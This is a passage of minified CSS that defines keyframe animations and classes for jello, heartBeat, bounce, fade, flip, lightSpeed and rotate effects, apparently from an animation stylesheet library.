skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg) skewY(-3.125deg);transform:skewX(-3.125deg) skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg) skewY(1.5625deg);transform:skewX(1.5625deg) skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg) skewY(-.78125deg);transform:skewX(-.78125deg) skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg) skewY(.390625deg);transform:skewX(.390625deg) skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg) skewY(-.1953125deg);transform:skewX(-.1953125deg) skewY(-.1953125deg)}}@keyframes jello{11.1%,from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}22.2%{-webkit-transform:skewX(-12.5deg) skewY(-12.5deg);transform:skewX(-12.5deg) skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg) skewY(6.25deg);transform:skewX(6.25deg) skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg) skewY(-3.125deg);transform:skewX(-3.125deg) skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg) skewY(1.5625deg);transform:skewX(1.5625deg) skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg) skewY(-.78125deg);transform:skewX(-.78125deg) skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg) skewY(.390625deg);transform:skewX(.390625deg) skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg) skewY(-.1953125deg);transform:skewX(-.1953125deg) skewY(-.1953125deg)}}.jello{-webkit-animation-name:jello;animation-name:jello;-webkit-transform-origin:center;transform-origin:center}@-webkit-keyframes heartBeat{0%{-webkit-transform:scale(1);transform:scale(1)}14%{-webkit-transform:scale(1.3);transform:scale(1.3)}28%{-webkit-transform:scale(1);transform:scale(1)}42%{-webkit-transform:scale(1.3);transform:scale(1.3)}70%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes heartBeat{0%{-webkit-transform:scale(1);transform:scale(1)}14%{-webkit-transform:scale(1.3);transform:scale(1.3)}28%{-webkit-transform:scale(1);transform:scale(1)}42%{-webkit-transform:scale(1.3);transform:scale(1.3)}70%{-webkit-transform:scale(1);transform:scale(1)}}.heartBeat{-webkit-animation-name:heartBeat;animation-name:heartBeat;-webkit-animation-duration:1.3s;animation-duration:1.3s;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}@-webkit-keyframes bounceIn{20%,40%,60%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes bounceIn{20%,40%,60%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.bounceIn{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-name:bounceIn;animation-name:bounceIn}@-webkit-keyframes bounceInDown{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes bounceInDown{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInDown{-webkit-animation-name:bounceInDown;animation-name:bounceInDown}@-webkit-keyframes bounceInLeft{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes bounceInLeft{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInLeft{-webkit-animation-name:bounceInLeft;animation-name:bounceInLeft}@-webkit-keyframes bounceInRight{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes bounceInRight{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInRight{-webkit-animation-name:bounceInRight;animation-name:bounceInRight}@-webkit-keyframes bounceInUp{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes bounceInUp{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInUp{-webkit-animation-name:bounceInUp;animation-name:bounceInUp}@-webkit-keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}.bounceOut{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-name:bounceOut;animation-name:bounceOut}@-webkit-keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.bounceOutDown{-webkit-animation-name:bounceOutDown;animation-name:bounceOutDown}@-webkit-keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.bounceOutLeft{-webkit-animation-name:bounceOutLeft;animation-name:bounceOutLeft}@-webkit-keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.bounceOutRight{-webkit-animation-name:bounceOutRight;animation-name:bounceOutRight}@-webkit-keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.bounceOutUp{-webkit-animation-name:bounceOutUp;animation-name:bounceOutUp}@-webkit-keyframes fadeIn{from{opacity:0}to{opacity:1}}@keyframes fadeIn{from{opacity:0}to{opacity:1}}.fadeIn{-webkit-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInDown{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}@-webkit-keyframes fadeInDownBig{from{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes fadeInDownBig{from{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInDownBig{-webkit-animation-name:fadeInDownBig;animation-name:fadeInDownBig}@-webkit-keyframes fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInLeft{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}@-webkit-keyframes fadeInLeftBig{from{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes fadeInLeftBig{from{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig}@-webkit-keyframes fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInRight{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}@-webkit-keyframes fadeInRightBig{from{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes fadeInRightBig{from{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInRightBig{-webkit-animation-name:fadeInRightBig;animation-name:fadeInRightBig}@-webkit-keyframes fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInUp{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}@-webkit-keyframes fadeInUpBig{from{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes fadeInUpBig{from{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInUpBig{-webkit-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes fadeOut{from{opacity:1}to{opacity:0}}@keyframes fadeOut{from{opacity:1}to{opacity:0}}.fadeOut{-webkit-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes fadeOutDown{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.fadeOutDown{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}@-webkit-keyframes fadeOutDownBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes fadeOutDownBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig}@-webkit-keyframes fadeOutLeft{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes fadeOutLeft{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.fadeOutLeft{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}@-webkit-keyframes fadeOutLeftBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes fadeOutLeftBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig}@-webkit-keyframes fadeOutRight{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes fadeOutRight{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.fadeOutRight{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeOutRightBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes fadeOutRightBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig}@-webkit-keyframes fadeOutUp{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes fadeOutUp{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.fadeOutUp{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}@-webkit-keyframes fadeOutUpBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes fadeOutUpBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig}@-webkit-keyframes flip{from{-webkit-transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,-360deg);transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95) translate3d(0,0,0) rotate3d(0,1,0,0deg);transform:perspective(400px) scale3d(.95,.95,.95) translate3d(0,0,0) rotate3d(0,1,0,0deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,0deg);transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,0deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}@keyframes flip{from{-webkit-transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,-360deg);transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95) translate3d(0,0,0) rotate3d(0,1,0,0deg);transform:perspective(400px) scale3d(.95,.95,.95) translate3d(0,0,0) rotate3d(0,1,0,0deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,0deg);transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,0deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}.animated.flip{-webkit-backface-visibility:visible;backface-visibility:visible;-webkit-animation-name:flip;animation-name:flip}@-webkit-keyframes flipInX{from{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{from{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInX{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInX;animation-name:flipInX}@-webkit-keyframes flipInY{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInY;animation-name:flipInY}@-webkit-keyframes flipOutX{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}@keyframes flipOutX{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}.flipOutX{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-name:flipOutX;animation-name:flipOutX;-webkit-backface-visibility:visible!important;backface-visibility:visible!important}@-webkit-keyframes flipOutY{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}@keyframes flipOutY{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}.flipOutY{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipOutY;animation-name:flipOutY}@-webkit-keyframes lightSpeedIn{from{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes lightSpeedIn{from{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.lightSpeedIn{-webkit-animation-name:lightSpeedIn;animation-name:lightSpeedIn;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@-webkit-keyframes lightSpeedOut{from{opacity:1}to{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}@keyframes lightSpeedOut{from{opacity:1}to{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}.lightSpeedOut{-webkit-animation-name:lightSpeedOut;animation-name:lightSpeedOut;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}@-webkit-keyframes rotateIn{from{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes rotateIn{from{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.rotateIn{-webkit-animation-name:rotateIn;animation-name:rotateIn}@-webkit-keyframes rotateInDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes rotateInDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left 